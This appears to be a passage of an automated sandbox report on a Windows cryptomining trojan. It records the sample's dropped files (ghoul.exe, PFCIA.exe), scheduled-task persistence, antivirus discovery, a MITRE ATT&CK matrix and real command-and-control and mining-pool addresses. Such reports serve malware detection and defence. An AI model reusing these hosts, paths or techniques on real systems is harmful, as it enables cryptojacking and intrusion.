    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\BOOKOSB.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\BOOKOSI.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\BOOKOSBI.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\BRADHITC.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\BSSYM7.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\CENTURY.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\DUBAI-REGULAR.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\DUBAI-MEDIUM.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\DUBAI-LIGHT.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\DUBAI-BOLD.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\FREESCPT.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\FRSCRIPT.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\GARA.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\GARAIT.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\GARABD.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\GOTHIC.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\GOTHICI.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\GOTHICB.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\GOTHICBI.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\ITCKRIST.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\JUICE___.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\LEELAWAD.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\LEELAWDB.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\LHANDW.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\MISTRAL.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\MSUIGHUR.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\MSUIGHUB.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\MTCORSVA.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\MTEXTRA.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\OUTLOOK.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\PAPYRUS.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\PRISTINA.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\REFSAN.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\REFSPCL.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\TEMPSITC.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\WINGDNG2.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\WINGDNG3.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\marlett.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\micross.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeQueries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeQueries volume information: C:\Users\user\AppData\Local\Temp\ghoul.exe VolumeInformationJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformationJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformationJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformationJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformationJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformationJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformationJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformationJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformationJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformationJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformationJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformationJump to behavior
    Source: C:\ProgramData\Adobe\PFCIA.exeQueries volume information: C:\ProgramData\Adobe\PFCIA.exe VolumeInformationJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
    Source: C:\ProgramData\Adobe\PFCIA.exeQueries volume information: C:\ProgramData\Adobe\PFCIA.exe VolumeInformation
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntivirusProduct
    Source: Amcache.hve.26.drBinary or memory string: msmpeng.exe
    Source: Amcache.hve.26.drBinary or memory string: c:\program files\windows defender\msmpeng.exe
    Source: Amcache.hve.26.drBinary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.2107.4-0\msmpeng.exe
    Source: PFCIA.exe, 0000001D.00000002.96525802906.00000000042B6000.00000004.00000800.00020000.00000000.sdmp, PFCIA.exe, 0000001D.00000002.96470845073.0000000004019000.00000004.00000800.00020000.00000000.sdmp, Amcache.hve.26.drBinary or memory string: MsMpEng.exe

    Mitre Att&ck Matrix

    Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
    Valid Accounts131
    Windows Management Instrumentation    		1
    Scheduled Task/Job    		311
    Process Injection    		11
    Masquerading    		OS Credential Dumping351
    Security Software Discovery    		Remote Services11
    Archive Collected Data    		Exfiltration Over Other Network Medium1
    Encrypted Channel    		Eavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationModify System Partition
    Default Accounts1
    Scheduled Task/Job    		1
    DLL Side-Loading    		1
    Scheduled Task/Job    		11
    Disable or Modify Tools    		LSASS Memory1
    Process Discovery    		Remote Desktop ProtocolData from Removable MediaExfiltration Over Bluetooth1
    Non-Standard Port    		Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
    Domain Accounts1
    Native API    		Logon Script (Windows)1
    DLL Side-Loading    		251
    Virtualization/Sandbox Evasion    		Security Account Manager251
    Virtualization/Sandbox Evasion    		SMB/Windows Admin SharesData from Network Shared DriveAutomated Exfiltration1
    Ingress Tool Transfer    		Exploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
    Local AccountsAt (Windows)Logon Script (Mac)Logon Script (Mac)311
    Process Injection    		NTDS1
    Application Window Discovery    		Distributed Component Object ModelInput CaptureScheduled Transfer3
    Non-Application Layer Protocol    		SIM Card SwapCarrier Billing Fraud
    Cloud AccountsCronNetwork Logon ScriptNetwork Logon Script1
    Deobfuscate/Decode Files or Information    		LSA Secrets1
    File and Directory Discovery    		SSHKeyloggingData Transfer Size Limits3
    Application Layer Protocol    		Manipulate Device CommunicationManipulate App Store Rankings or Ratings
    Replication Through Removable MediaLaunchdRc.commonRc.common3
    Obfuscated Files or Information    		Cached Domain Credentials23
    System Information Discovery    		VNCGUI Input CaptureExfiltration Over C2 ChannelMultiband CommunicationJamming or Denial of ServiceAbuse Accessibility Features
    External Remote ServicesScheduled TaskStartup ItemsStartup Items22
    Software Packing    		DCSyncNetwork SniffingWindows Remote ManagementWeb Portal CaptureExfiltration Over Alternative ProtocolCommonly Used PortRogue Wi-Fi Access PointsData Encrypted for Impact
    Drive-by CompromiseCommand and Scripting InterpreterScheduled Task/JobScheduled Task/Job1
    Timestomp    		Proc FilesystemNetwork Service ScanningShared WebrootCredential API HookingExfiltration Over Symmetric Encrypted Non-C2 ProtocolApplication Layer ProtocolDowngrade to Insecure ProtocolsGenerate Fraudulent Advertising Revenue
    Exploit Public-Facing ApplicationPowerShellAt (Linux)At (Linux)1
    DLL Side-Loading    		/etc/passwd and /etc/shadowSystem Network Connections DiscoverySoftware Deployment ToolsData StagedExfiltration Over Asymmetric Encrypted Non-C2 ProtocolWeb ProtocolsRogue Cellular Base StationData Destruction

    Behavior Graph

    Hide Legend

    Legend:

    • Process
    • Signature
    • Created File
    • DNS/IP Info
    • Is Dropped
    • Is Windows Process
    • Number of created Registry Values
    • Number of created Files
    • Visual Basic
    • Delphi
    • Java
    • .Net C# or VB.NET
    • C, C++ or other language
    • Is malicious
    • Internet
    behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 777145 Sample: gOKMPhOLiN.exe Startdate: 03/01/2023 Architecture: WINDOWS Score: 100 61 na.luckpool.net 2->61 63 f0758246.xsph.ru 2->63 73 Snort IDS alert for network traffic 2->73 75 Sigma detected: Xmrig 2->75 77 Malicious sample detected (through community Yara rule) 2->77 79 8 other signatures 2->79 10 gOKMPhOLiN.exe 4 2->10         started        14 PFCIA.exe 14 3 2->14         started        16 PFCIA.exe 2->16         started        signatures3 process4 file5 59 C:\Users\user\AppData\Local\Temp\ghoul.exe, PE32+ 10->59 dropped 89 Detected unpacking (changes PE section rights) 10->89 91 Detected unpacking (overwrites its own PE header) 10->91 18 ghoul.exe 14 8 10->18         started        93 Antivirus detection for dropped file 14->93 95 Machine Learning detection for dropped file 14->95 97 Writes to foreign memory regions 14->97 99 2 other signatures 14->99 23 cmd.exe 14->23         started        25 powershell.exe 14->25         started        27 RegSvcs.exe 14->27         started        29 WerFault.exe 14->29         started        signatures6 process7 dnsIp8 65 179.43.141.116, 49867, 49869, 80 PLI-ASCH Panama 18->65 67 f0758246.xsph.ru 141.8.192.151, 49868, 49888, 80 SPRINTHOSTRU Russian Federation 18->67 69 192.168.11.1 unknown unknown 18->69 57 C:\ProgramData\Adobe\PFCIA.exe, PE32+ 18->57 dropped 81 Antivirus detection for dropped file 18->81 83 Multi AV Scanner detection for dropped file 18->83 85 Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines) 18->85 87 6 other signatures 18->87 31 cmd.exe 1 18->31         started        34 RegSvcs.exe 18->34         started        36 vbc.exe 18->36         started        39 powershell.exe 28 18->39         started        41 conhost.exe 23->41         started        43 schtasks.exe 23->43         started        45 conhost.exe 25->45         started        file9 signatures10 process11 dnsIp12 101 Uses schtasks.exe or at.exe to add and modify task schedules 31->101 47 conhost.exe 31->47         started        49 schtasks.exe 1 31->49         started        103 Hides threads from debuggers 34->103 71 na.luckpool.net 149.56.27.47, 3956, 49870 OVHFR Canada 36->71 51 cmd.exe 36->51         started        53 conhost.exe 39->53         started        signatures13 process14 process15 55 conhost.exe 51->55         started       

    Screenshots

    Thumbnails

    This section contains all screenshots as thumbnails, including those not shown in the slideshow.


    windows-stand

    Antivirus, Machine Learning and Genetic Malware Detection

    Initial Sample

    SourceDetectionScannerLabelLink
    gOKMPhOLiN.exe32%VirustotalBrowse
    gOKMPhOLiN.exe24%ReversingLabs
    gOKMPhOLiN.exe100%Joe Sandbox ML

    Dropped Files

    SourceDetectionScannerLabelLink
    C:\ProgramData\Adobe\PFCIA.exe100%AviraHEUR/AGEN.1231966
    C:\Users\user\AppData\Local\Temp\ghoul.exe100%AviraHEUR/AGEN.1231966
    C:\ProgramData\Adobe\PFCIA.exe100%Joe Sandbox ML
    C:\Users\user\AppData\Local\Temp\ghoul.exe100%Joe Sandbox ML
    C:\Users\user\AppData\Local\Temp\ghoul.exe52%ReversingLabsByteCode-MSIL.Trojan.Heracles

    Unpacked PE Files

    SourceDetectionScannerLabelLinkDownload
    3.0.ghoul.exe.590000.1.unpack100%AviraHEUR/AGEN.1231966Download File
    12.0.PFCIA.exe.10000.0.unpack100%AviraHEUR/AGEN.1231966Download File
    1.2.gOKMPhOLiN.exe.740000.0.unpack100%AviraHEUR/AGEN.1230578Download File
    3.0.ghoul.exe.590000.0.unpack100%AviraHEUR/AGEN.1231966Download File
    3.0.ghoul.exe.590000.2.unpack100%AviraHEUR/AGEN.1231966Download File
    29.0.PFCIA.exe.c60000.0.unpack100%AviraHEUR/AGEN.1231966Download File

    Domains

    SourceDetectionScannerLabelLink
    na.luckpool.net2%VirustotalBrowse

    URLs

    SourceDetectionScannerLabelLink
    http://www.goodfont.co.kr0%Avira URL Cloudsafe
    https://contoso.com/License0%Avira URL Cloudsafe
    http://www.tiro.com0%Avira URL Cloudsafe
    http://www.founder.com.cn/cn/bThe0%Avira URL Cloudsafe
    http://osoft.co0%Avira URL Cloudsafe
    https://contoso.com/License0%VirustotalBrowse
    http://www.founder.com.cn/cn/bThe1%VirustotalBrowse
    http://www.typography.netD0%Avira URL Cloudsafe
    http://www.sajatypeworks.com0%Avira URL Cloudsafe
    http://www.tiro.com0%VirustotalBrowse
    http://fontfabrik.com0%Avira URL Cloudsafe
    http://www.founder.com.cn/cn/cThe0%Avira URL Cloudsafe
    https://contoso.com/0%Avira URL Cloudsafe
    http://crl.#0%Avira URL Cloudsafe
    http://www.sandoll.co.kr0%Avira URL Cloudsafe
    http://www.zhongyicts.com.cn0%Avira URL Cloudsafe
    http://www.sakkal.com0%Avira URL Cloudsafe
    http://179.43.141.116/0%Avira URL Cloudsafe
    http://179.43.141.116/DLEBEBRA2.php0%Avira URL Cloudsafe
    http://www.microsoft.1emEp0%Avira URL Cloudsafe
    http://179.43.141.116/DLIMSORRY.php0%Avira URL Cloudsafe
    http://pesterbdd.com/images/Pester.png100%Avira URL Cloudmalware
    https://go.micro0%Avira URL Cloudsafe
    http://pesterbdd.com/images/Pester.pngh100%Avira URL Cloudmalware
    https://contoso.com/Icon0%Avira URL Cloudsafe
    http://179.43.141.116/BEBRA.php0%Avira URL Cloudsafe
    http://www.carterandcone.coml0%Avira URL Cloudsafe
    http://www.founder.com.cn/cn0%Avira URL Cloudsafe
    http://179.43.141.116/VERBORROV.php0%Avira URL Cloudsafe
    http://na.luckpool.net:3956/0%Avira URL Cloudsafe
    http://179.43.141.116/NLIFE.php0%Avira URL Cloudsafe
    http://www.jiyu-kobo.co.jp/0%Avira URL Cloudsafe
    http://179.43.141.116/DLCGHOUL.php0%Avira URL Cloudsafe
    http://na.luckpool.net:39560%Avira URL Cloudsafe
    https://oneget.org0%Avira URL Cloudsafe
    http://pesterbdd.com/images/Pester.pngXz100%Avira URL Cloudmalware

    Domains and IPs

    Contacted Domains

    NameIPActiveMaliciousAntivirus DetectionReputation
    f0758246.xsph.ru
    		141.8.192.151
    		truefalse
      		high
      na.luckpool.net
      		149.56.27.47
      		truetrueunknown

      Contacted URLs

      NameMaliciousAntivirus DetectionReputation
      http://f0758246.xsph.ru//zima.php?mine=ETCfalse
        		high
        http://f0758246.xsph.ru//zima.php?mine=OTHERfalse
          		high
          http://179.43.141.116/BEBRA.phptrue
          • Avira URL Cloud: safe
          		unknown
          http://179.43.141.116/VERBORROV.phptrue
          • Avira URL Cloud: safe
          		unknown
          http://179.43.141.116/DLCGHOUL.phptrue
          • Avira URL Cloud: safe
          		unknown

          URLs from Memory and Binaries

          NameSourceMaliciousAntivirus DetectionReputation
          http://www.founder.com.cn/cn/bThegOKMPhOLiN.exe, 00000001.00000002.96577746221.00000000072C2000.00000004.00000800.00020000.00000000.sdmpfalse
          • 1%, Virustotal, Browse
          • Avira URL Cloud: safe
          		unknown
          https://contoso.com/Licensepowershell.exe, 00000006.00000002.91972509853.0000017222509000.00000004.00000800.00020000.00000000.sdmpfalse
          • 0%, Virustotal, Browse
          • Avira URL Cloud: safe
          		unknown
          http://osoft.copowershell.exe, 00000006.00000002.92025149337.000001722A4FC000.00000004.00000020.00020000.00000000.sdmpfalse
          • Avira URL Cloud: safe
          		unknown
          http://www.tiro.comgOKMPhOLiN.exe, 00000001.00000002.96577746221.00000000072C2000.00000004.00000800.00020000.00000000.sdmpfalse
          • 0%, Virustotal, Browse
          • Avira URL Cloud: safe
          		unknown
          http://www.goodfont.co.krgOKMPhOLiN.exe, 00000001.00000002.96577746221.00000000072C2000.00000004.00000800.00020000.00000000.sdmpfalse
          • Avira URL Cloud: safe
          		unknown
          http://www.openssl.org/support/faq.html.RegSvcs.exe, 00000010.00000002.92542982428.000000014078F000.00000040.00000400.00020000.00000000.sdmpfalse
            		high
            https://curl.haxx.se/docs/http-cookies.htmlvbc.exe, 0000000D.00000000.92158358269.0000000140070000.00000040.00000400.00020000.00000000.sdmp, RegSvcs.exe, 00000010.00000002.92445709998.0000000140000000.00000040.00000400.00020000.00000000.sdmpfalse
              		high
              http://www.openssl.org/support/faq.htmlRegSvcs.exe, 00000010.00000002.92542982428.000000014078F000.00000040.00000400.00020000.00000000.sdmpfalse
                		high
                http://www.sajatypeworks.comgOKMPhOLiN.exe, 00000001.00000002.96577746221.00000000072C2000.00000004.00000800.00020000.00000000.sdmpfalse
                • Avira URL Cloud: safe
                		unknown
                http://github.com/monkins1010/ccminervbc.exe, 0000000D.00000000.92158358269.0000000140070000.00000040.00000400.00020000.00000000.sdmp, vbc.exe, 0000000D.00000002.96420170190.00000264AD3A2000.00000004.00000020.00020000.00000000.sdmpfalse
                  		high
                  http://www.typography.netDgOKMPhOLiN.exe, 00000001.00000002.96577746221.00000000072C2000.00000004.00000800.00020000.00000000.sdmpfalse
                  • Avira URL Cloud: safe
                  		unknown
                  http://www.founder.com.cn/cn/cThegOKMPhOLiN.exe, 00000001.00000002.96577746221.00000000072C2000.00000004.00000800.00020000.00000000.sdmpfalse
                  • Avira URL Cloud: safe
                  		unknown
                  http://fontfabrik.comgOKMPhOLiN.exe, 00000001.00000002.96577746221.00000000072C2000.00000004.00000800.00020000.00000000.sdmpfalse
                  • Avira URL Cloud: safe
                  		unknown
                  http://crl.#powershell.exe, 00000006.00000002.92025149337.000001722A4FC000.00000004.00000020.00020000.00000000.sdmpfalse
                  • Avira URL Cloud: safe
                  		unknown
                  https://contoso.com/powershell.exe, 00000006.00000002.91972509853.0000017222509000.00000004.00000800.00020000.00000000.sdmpfalse
                  • Avira URL Cloud: safe
                  		unknown
                  https://nuget.org/nuget.exepowershell.exe, 00000006.00000003.91651185541.0000017213984000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.91972509853.0000017222509000.00000004.00000800.00020000.00000000.sdmpfalse
                    		high
                    https://github.com/Pester/PesterXzpowershell.exe, 00000006.00000002.91839178457.000001721266E000.00000004.00000800.00020000.00000000.sdmpfalse
                      		high
                      http://www.fonts.comgOKMPhOLiN.exe, 00000001.00000002.96577746221.00000000072C2000.00000004.00000800.00020000.00000000.sdmpfalse
                        		high
                        http://www.sandoll.co.krgOKMPhOLiN.exe, 00000001.00000002.96577746221.00000000072C2000.00000004.00000800.00020000.00000000.sdmpfalse
                        • Avira URL Cloud: safe
                        		unknown
                        http://www.zhongyicts.com.cngOKMPhOLiN.exe, 00000001.00000002.96577746221.00000000072C2000.00000004.00000800.00020000.00000000.sdmpfalse
                        • Avira URL Cloud: safe
                        		unknown
                        http://schemas.xmlsoap.org/ws/2005/05/identity/claims/namepowershell.exe, 00000006.00000002.91830440067.00000172124A1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.92814546028.000001FE00001000.00000004.00000800.00020000.00000000.sdmp, PFCIA.exe, 0000001D.00000002.96469769537.000000000400C000.00000004.00000800.00020000.00000000.sdmpfalse
                          		high
                          http://www.sakkal.comgOKMPhOLiN.exe, 00000001.00000002.96577746221.00000000072C2000.00000004.00000800.00020000.00000000.sdmpfalse
                          • Avira URL Cloud: safe
                          		unknown
                          http://179.43.141.116/PFCIA.exe, 0000001D.00000002.96469769537.000000000400C000.00000004.00000800.00020000.00000000.sdmpfalse
                          • Avira URL Cloud: safe
                          		unknown
                          http://179.43.141.116/DLEBEBRA2.phpPFCIA.exe, 0000001D.00000002.96469769537.000000000400C000.00000004.00000800.00020000.00000000.sdmpfalse
                          • Avira URL Cloud: safe
                          		unknown
                          http://179.43.141.116/DLIMSORRY.phpPFCIA.exe, 0000001D.00000002.96469769537.000000000400C000.00000004.00000800.00020000.00000000.sdmpfalse
                          • Avira URL Cloud: safe
                          		unknown
                          http://www.microsoft.1emEppowershell.exe, 00000006.00000002.92032163132.000001722A789000.00000004.00000020.00020000.00000000.sdmpfalse
                          • Avira URL Cloud: safe
                          		low
                          http://nuget.org/NuGet.exepowershell.exe, 00000006.00000003.91651185541.0000017213984000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.91972509853.0000017222509000.00000004.00000800.00020000.00000000.sdmpfalse
                            		high
                            http://www.apache.org/licenses/LICENSE-2.0gOKMPhOLiN.exe, 00000001.00000002.96577746221.00000000072C2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.91957768157.00000172137A6000.00000004.00000800.00020000.00000000.sdmpfalse
                              		high
                              http://pesterbdd.com/images/Pester.pngpowershell.exe, 00000006.00000002.91963869375.0000017213836000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.91957768157.00000172137A6000.00000004.00000800.00020000.00000000.sdmpfalse
                              • Avira URL Cloud: malware
                              		unknown
